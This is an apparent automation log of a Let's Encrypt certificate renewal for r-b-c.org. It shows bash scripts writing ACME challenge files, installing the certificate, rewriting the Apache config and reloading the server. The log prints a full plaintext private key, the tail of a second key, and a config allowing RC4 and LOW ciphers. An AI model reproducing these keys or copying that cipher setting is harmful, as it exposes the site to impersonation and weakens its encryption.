j5CZFnjo7DF6EYkWcWkg7lW77wQbdrOEbIzmOlHBAoGAG5Gwl+dJX1zb5qm/AEMf
N75EimNGath8OJ8qgjta53e5XiD+o4kuBgVnber40aZLv5DAv/Qqr/FzZ67C+Qiu
ao0MwYiUkOtDo8S2P+odbxYeyRfd4o3/C9vX55cI8pjf0iYO4rAL+o0GtgiBAz+/
YF1vwwZwacOfSxJtaS5T0gA=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-01-14 06:00:32: Establishing a connection
2026-01-14 06:00:32: Establishing a connection
2026-01-14 06:00:33: 

PUT: /tmp/pkp918739

#!/bin/bash
if [ -d "/var/www/r-b-c_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-01-14 06:00:33: 

chmod 755 /tmp/pkp918739; /tmp/pkp918739; rm /tmp/pkp918739

2026-01-14 06:00:33: 


1


2026-01-14 06:00:33: Establishing a connection
2026-01-14 06:00:33: 

PUT: /tmp/pkp860903

#!/bin/bash
mkdir -p "/var/www/r-b-c_www/.well-known/acme-challenge/"
cd "/var/www/r-b-c_www/.well-known/acme-challenge/"
cat > Zl1ErvGxMJo0hJz_b_q7RHnqEJapZ5j_x4TN6e0Oi5Q <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
Zl1ErvGxMJo0hJz_b_q7RHnqEJapZ5j_x4TN6e0Oi5Q.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 Zl1ErvGxMJo0hJz_b_q7RHnqEJapZ5j_x4TN6e0Oi5Q
cat > GGk2clxsQT5MdjgKGHQJBIybWTUm_JHVPQKhSsWTFc8 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
GGk2clxsQT5MdjgKGHQJBIybWTUm_JHVPQKhSsWTFc8.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 GGk2clxsQT5MdjgKGHQJBIybWTUm_JHVPQKhSsWTFc8


2026-01-14 06:00:33: 

chmod 755 /tmp/pkp860903; /tmp/pkp860903; rm /tmp/pkp860903

2026-01-14 06:00:33: 




2026-01-14 06:00:42: Establishing a connection
2026-01-14 06:00:42: 

PUT: /tmp/pkp572023

#!/bin/bash
mkdir -p "/var/www/r-b-c_www/.well-known/acme-challenge/"
cd "/var/www/r-b-c_www/.well-known/acme-challenge/"
rm Zl1ErvGxMJo0hJz_b_q7RHnqEJapZ5j_x4TN6e0Oi5Q
rm GGk2clxsQT5MdjgKGHQJBIybWTUm_JHVPQKhSsWTFc8


2026-01-14 06:00:42: 

chmod 755 /tmp/pkp572023; /tmp/pkp572023; rm /tmp/pkp572023

2026-01-14 06:00:42: 




2026-01-14 06:00:42: Establishing a connection
2026-01-14 06:00:42: 

PUT: /tmp/pkp107450

#!/bin/bash
temp_file=$(mktemp)
TARGET=86d2c41eb90f4cb26f05730c2abdf7ea.crt

cat > $temp_file <<'endmsg'
32:d4:eb:3b:17:46:9e:be:bd:f1:ba:4c:7e:a3:34:2d

-----BEGIN CERTIFICATE-----
MIIFBzCCA++gAwIBAgISBtrGwdHqGCNQRB6ePU9pXvdzMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMTE0MDUwMjExWhcNMjYwNDE0MDUwMjEwWjAUMRIwEAYDVQQD
EwlyLWItYy5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDID/cI
jrD1d6/YggnmfzSZ9VnyIO479DN4VT9cOXmenGSFBavSDlUiIM9SJd8Jm4F1Gp+e
soN4bszrJVK89WTPQ56RKY96gOCHqgezcYEc06KNBGEW/BKEKOm0OEtEKzZnfW9A
ZUfQZN+cd4n/tF3Y2subhw2K07CTaw0BFzBcHkfx6t5INHlIyr4R5LIUV31ZSme7
Rk3dwaawVlP7qVWGefhb2sEP3kVKOF2PdNS4UQmGAroK6a7URRGcnvq5qxk7mweP
+p0DBPzCt8uq/AFBSCRde4Gx5jPCzBDEdHM4VSdEeDgVtUtXF8qv8BRt8NF82kZQ
beLwoWYUIqYQfH8JAgMBAAGjggIyMIICLjAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0l
BBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYE
FHnp0ImKqlRHSMy0VibuwOOtuL2gMB8GA1UdIwQYMBaAFAC1KfItjm8x6JtMrXg+
+tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMi5p
LmxlbmNyLm9yZy8wIwYDVR0RBBwwGoIJci1iLWMub3Jngg13d3cuci1iLWMub3Jn
MBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9y
MTIuYy5sZW5jci5vcmcvMTE2LmNybDCCAQ0GCisGAQQB1nkCBAIEgf4EgfsA+QB+
AHF+lfPCOIptseOEST0x4VqpYgh2LUIA4AUM0Ge1pmHiAAABm7sXjUYACAAABQAG
5sDlBAMARzBFAiAVhQ9LM1S2maSzEa77Tak9S2bMqLcmri9sDeHQVdwVbgIhAJbZ
BRHziaLAmFHmLQsOP26DPsP0LnQAwfCadxi2+nVyAHcAlpdkv1VYl633Q4doNwhC
d+nwOtX2pPM2bkakPw/KqcYAAAGbuxeNGQAABAMASDBGAiEAwGARCVkHNeHFDpOY
vptEEPFmiIWnHGqOoeoSlr5aTFMCIQDQ6fJYJOryg0ys1Pbe6+qlI2lNj+CAWEZk
RbaTuibZSzANBgkqhkiG9w0BAQsFAAOCAQEAsBTKzbmQaYoK290YK1locULcUL5J
AORNHcrI78B/BMlGOxJPFGFt6KlREWandAsd9yAiEM/mJ+AwxFw7kjimGdeDfNL/
UV2wQVfb9Cg5dW81Go2tcFTcutxzPT3ZZajsnlHaYDfhXK7T4iuUqJx1/q8mn06T
/WIQ1wC3ZlQCOqgWrxxMfcmKuSRzOmCgdkNzIqV8amjoN4EYIoLBP9VRq9wU1IK6
Sd9F8jgbHiCKMicF/Fpl5Vm7mEZGeLiQy16iz4xgLon3a8+F43QtieSxVuxPEXjH
onuC6PwY9LMqfw52Wj/UvRCNnc1yXlvyJIsTrV5GWtW+5MFVyyXYkBvJ+g==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDID/cIjrD1d6/Y
ggnmfzSZ9VnyIO479DN4VT9cOXmenGSFBavSDlUiIM9SJd8Jm4F1Gp+esoN4bszr
JVK89WTPQ56RKY96gOCHqgezcYEc06KNBGEW/BKEKOm0OEtEKzZnfW9AZUfQZN+c
d4n/tF3Y2subhw2K07CTaw0BFzBcHkfx6t5INHlIyr4R5LIUV31ZSme7Rk3dwaaw
VlP7qVWGefhb2sEP3kVKOF2PdNS4UQmGAroK6a7URRGcnvq5qxk7mweP+p0DBPzC
t8uq/AFBSCRde4Gx5jPCzBDEdHM4VSdEeDgVtUtXF8qv8BRt8NF82kZQbeLwoWYU
IqYQfH8JAgMBAAECggEAB3W+8Kj/dLvAiRp6O4fRQo9pSfPL5lzqAWnuWaZEAHPU
9LfcKxJBPutJx8alPTK4/lCelJiT+ezpw7fp0KV225qqIkASO09sb+qZbGnGVniW
xlrcMvL1zstGwaNavSE+X1gISrasGZt1UhyL/wau/CvWbUd5LAzOOAUFIF4IvdqL
UrcHBNC3v4j9Pu/Xbb3a8AQFR6QDQc4cZHgr46svrWEgnpJ+1njYLf5f6Bocl1TZ
nVgwyO+DPY066GG4+WmFWIbQV0llxFv4w/s/rgbgE3XYQGyHsfhRNiu0acXNZHgr
YwR/fLGA+VFfi7OMaBZlI0PufRi2Lwsp6KhpcExkjQKBgQDoErY0IIccFvAZdpha
SYAocu0bzoIGtHaPZnEMwUfVQiVFrSmdLCKxrZPjKswybs9MucwcHzVrspSHqYHf
LKIdLTheGTb5hRL+Sj0ejztsaQijt7/Kg+oxq2TIl5kWerQbrb1bROA2tBKOMpfF
BJm9o2UvNPvn+D5amKG5ogJrRQKBgQDcsF5pe+c8U7EhOQ2biQYjpsFO/5DuejSt
r2YDY3ANXiXRv4UFTc5qv1ZrGeLv6wWojykQP/Mz6K29qWdKamMgjx11J0fw7tJ5
q3fbaIiNRF2ZFHv8Dq/bYoyXxElrHcogBeOjhRFZy40e1eg8LKDG1hJbOPc6ZmyH
xOeZ/e7e9QKBgDFS8MjJdQ3iTiuLSjw+TO/L5Vs4m+gi6OP3iOWGGudXhKZ3dFXE
cKdE1h69FONPK94Jyzja5Ta7oNfojgLJ8La0yrstLsL/ppbHXpAlLyMOe9iYEDpR
qS/fVq9PkSj28VrEpW9Fh0X5Jcx1Mk6ceLSWisXqw/N8jnwg3paeuVblAoGAZtqM
Jf1pN+SJmUJN5T9nbRY64eaaVYr/IjOtB8dAYfqPBcKM7HvmyDmEvUXDTq3qZTTT
no8vefHnh418ZmJO8M3CnOdB0Dh+P9Z6dfeyLKTAOqghYMg3jbfQbqs8zH+FxIb6
ISvTelYz3zsykVj7VbBPvdQ+5Sj3TA+pIUwIGEECgYBYdaOwcqXBCOidjvgTOeff
MQiHjDe1ic3JD51fyCFJd1L8Qv8giRbmVzNvLAVene9x53UykEtKGnchy9J2yo9O
aXZqtRXyFapmjw/z9kbXYp+M0QJdGQF+yBfAtpMTEuKD22NUzltjH+G3JO1qz9x8
qSCHOoGUY6cOipAUUfqLbQ==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-01-14 06:00:42: 

chmod 755 /tmp/pkp107450; /tmp/pkp107450; rm /tmp/pkp107450

2026-01-14 06:00:42: 


dir=/etc/ssl/certs


2026-01-14 06:00:42: 

PUT: /tmp/pkp440359

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/r-b-c_www_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-01-14 06:00:42: 

chmod 755 /tmp/pkp440359; /tmp/pkp440359; rm /tmp/pkp440359

2026-01-14 06:00:42: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/r-b-c_www_org.conf 37

<VirtualHost *:80>
    ServerName	r-b-c.org
    ServerAlias	www.r-b-c.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/r-b-c_www
    <Directory /var/www/r-b-c_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/r-b-c/www_access.log combined
    ErrorLog	/var/log/apache2/r-b-c/www_error.log
    SetEnv pkp_uid	59
    SetEnv pkp_owner	rbc
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	r-b-c.org
    ServerAlias	www.r-b-c.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/86d2c41eb90f4cb26f05730c2abdf7ea.crt
    DocumentRoot	/var/www/r-b-c_www
    <Directory /var/www/r-b-c_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/r-b-c/www_secure_access.log combined
    ErrorLog	/var/log/apache2/r-b-c/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-01-14 06:00:42: 

PUT: /tmp/pkp181930

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=r-b-c_www_org.conf
TARGET=/etc/apache2/sites-enabled/r-b-c_www_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	r-b-c.org
    ServerAlias	www.r-b-c.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/r-b-c_www
    <Directory /var/www/r-b-c_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/r-b-c/www_access.log combined
    ErrorLog	/var/log/apache2/r-b-c/www_error.log
    SetEnv pkp_uid	59
    SetEnv pkp_owner	rbc
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	r-b-c.org
    ServerAlias	www.r-b-c.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/86d2c41eb90f4cb26f05730c2abdf7ea.crt
    DocumentRoot	/var/www/r-b-c_www
    <Directory /var/www/r-b-c_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/r-b-c/www_secure_access.log combined
    ErrorLog	/var/log/apache2/r-b-c/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/r-b-c_www_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/r-b-c_www_org.conf)= /etc/apache2//etc/apache2/sites-enabled/r-b-c_www_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/r-b-c_www_org.conf= 1'
fi


2026-01-14 06:00:42: 

chmod 755 /tmp/pkp181930; /tmp/pkp181930; rm /tmp/pkp181930

2026-01-14 06:00:42: 




2026-01-14 06:00:42: 

PUT: /tmp/pkp446384

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-01-14 06:00:42: 

chmod 755 /tmp/pkp446384; /tmp/pkp446384; rm /tmp/pkp446384

2026-01-14 06:00:42: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-01-14 06:00:42: Establishing a connection
2026-01-14 06:00:43: 

PUT: /tmp/pkp752812

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-01-14 06:00:43: 

chmod 755 /tmp/pkp752812; /tmp/pkp752812; rm /tmp/pkp752812

2026-01-14 06:00:43: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:2)
         port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
                 alias www.carelinksoutreach.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:22)
         port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
                 alias www.carelinksoutreach.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:23)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
